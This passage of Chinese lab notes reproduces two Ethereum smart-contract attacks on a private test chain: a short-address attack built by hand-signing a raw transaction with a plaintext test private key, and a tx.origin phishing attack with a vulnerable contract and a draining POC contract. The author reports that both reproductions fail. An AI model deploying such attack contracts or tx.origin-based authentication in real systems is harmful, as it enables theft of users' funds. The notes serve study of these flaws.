这个地址是部署合约的时候返回的合约地址 var abi = mytoken.sendCoin.getData('0x681428ff41bd940bcf641abaf532f3fbc0146f00', 1) 目标账户地址(用来攻击的那个后面俩 0 的),先填一个正常的 得到一串 abi 编码后的东西 ![image.png](./img/num9gxh0ay4iz8x2/1588897787674-48673cea-d4f8-4f86-8e01-7c86438e71cb-258568.png) 0x90b98a11000000000000000000000000681428ff41bd940bcf641abaf532f3fbc0146f000000000000000000000000000000000000000000000000000000000000000001 另外还需要拿到默认账户的私玥 因为我的 npm 死活安不上一个东西,我选择用 metamask 查看。 导入你本地那个账户的文件 ![image.png](./img/num9gxh0ay4iz8x2/1588657166028-e0c4896e-7f23-49c1-b849-c0cc64165d8e-938226.png)   这里注意,是你本地那个账号的密码,我的就是之前生成的 123456 ![image.png](./img/num9gxh0ay4iz8x2/1588657264285-95806606-5411-4061-8f1e-96c0ccfecf70-625292.png) 导入的文件就是这个 ![image.png](./img/num9gxh0ay4iz8x2/1588657336003-b4585fed-8ce4-4e2e-834c-f1d5baac6717-256367.png) ![image.png](./img/num9gxh0ay4iz8x2/1588657540145-14d4c80d-3181-4bb5-b411-7742f189f7ed-820760.png)![image.png](./img/num9gxh0ay4iz8x2/1588657562814-05cad950-d184-47d6-9429-a6c5dfbfd258-982930.png) 这里的密码就是你用这个插件设置的密码了 ![image.png](./img/num9gxh0ay4iz8x2/1588657607628-5c32c4a8-f04f-4764-a4f3-de01ab285607-096971.png) 我这个账户的私钥: 068DCAB10E501D352CA1E0E06984C262A000305EFCB8A250C7D31815239C53CE 85CAEAB0E22F4FE69B8797FCFBFA0040CE4006984303B92D32607FD16B43E212 再回到命令行中: npm换淘宝源 `npm config set registry http://registry.npm.taobao.org/` 安装 web3 `npm install web3@^0.20.0` 安装 ethereumjs-tx `npm install ethereumjs-tx` 写一个脚本,来看一下 raw transaction
const Web3 = require('web3')
const Tx = require('ethereumjs-tx')
const privateKey = Buffer.from('068DCAB10E501D352CA1E0E06984C262A000305EFCB8A250C7D31815239C53CE', 'hex')

const txParams = {
  nonce: '0x01', //可以通过eth.getTransactionCount(eth.accounts[0])得到
  gasPrice: '5',
  gasLimit: '5000',
  to: '0x6001e62c13146912b7b08ea1702f0abb2c94551c',
  value: '0x00',
  data: '0x90b98a11000000000000000000000000681428ff41bd940bcf641abaf532f3fbc0146f0000000000000000000000000000000000000000000000000000000000000001' //去掉了两个0
  // EIP 155 chainId - mainnet: 1, ropsten: 3
  chainId: 111 //我搭建的私网ID是111,根据你自己的配置调整
}

var tx = new Tx(txParams, {'chain':'ropsten'})
tx.sign(privateKey)
var serializedTx = tx.serialize()
console.log('0x' + serializedTx.toString('hex'))
![image.png](./img/num9gxh0ay4iz8x2/1588977793467-3d11140c-ff19-4ceb-b867-bb88489638fb-944008.png) eth.sendRawTransaction('0xf84980808080808026a0f1390017f75851c4c165ff3b23fc63480b5d2cc88891fa7207ee5650192d6c07a02344b59dff3ba659db6c8ee75ce1f1d17a126f879fad8c43592d59802445745b') 又出问题了 ![image.png](./img/num9gxh0ay4iz8x2/1588977951913-203f4fc1-62b7-42c9-8ea7-5fe234a53c8d-024871.png) ## 漏洞防范 # tx.origin漏洞 ## 漏洞概述 tx.origin 是 solidity 中的一个全局变量,可以用来遍历调用栈,并返回最初发送调用的账户的地址,简单说 tx.origin 是最初那个合约的所有者 在智能合约中使用 tx.origin 进行身份验证,会导致合约容易受到类似网络钓鱼攻击 ## 代码调试 举个例子说一下,A 调用 B 的时候,中间人和所有者 都是 A, 当 A 调用 C,C 再去调用 B 的时候,中间人是 C,但是所有者却是 A Phishable.sol
pragma solidity ^0.4.22;
contract Phishable{
    address public owner;
    function constructor () public{
        owner = msg.sender;
    }
    function () public payable {}
    function withdrawAll(address _recipient) public {
        require(tx.origin == owner);
        _recipient.transfer(this.balance);
    } 
}
POC.sol
pragma solidity ^0.4.22;
interface Phishable{
    function owner() external returns (address);
    function withdrawAll(address _recipient) external;
}
contract POC{

    address owner;
    Phishable phInstance;
    function constructor() public{
        owner = msg.sender;
    }
modifier onlyOwner(){
    require(owner == msg.sender);
    _;
}
function setInstance(address addr) public onlyOwner{
    phInstance = Phishable(addr);
}
function getBalance() public onlyOwner{
    owner.transfer(address(this).balance);
}
function attack() internal{
    address phOwner = phInstance.owner();
    if(phOwner == msg.sender){
        phInstance.withdrawAll(owner);
    } else {
        owner.transfer(address(this).balance);
    }
}
function() external payable{
    attack();
}
}
攻击者诱使原合约的所有者发送以太币到攻击合约的地址,然后来调用攻击合约的函数,从而调用原函数的 withdrawAll() 函数,程序将进入原合约中执行 此时 msg.sender 就是攻击合约的地址,tx.origin 就是最初发起交易的合约的地址 require(tx.origin == owner) 条件很容易满足 默认账户部署 Phishable,第二个账户部署 POC 使用默认账户,把交易金额设置为 10 ether,点击 Phishable 合约的 fallback 函数,向合约转账 10 以太币 ![image.png](./img/num9gxh0ay4iz8x2/1588425934454-7157ab96-fca1-4f79-b9e0-95638abe3920-320251.png) **复现失败** > 原文: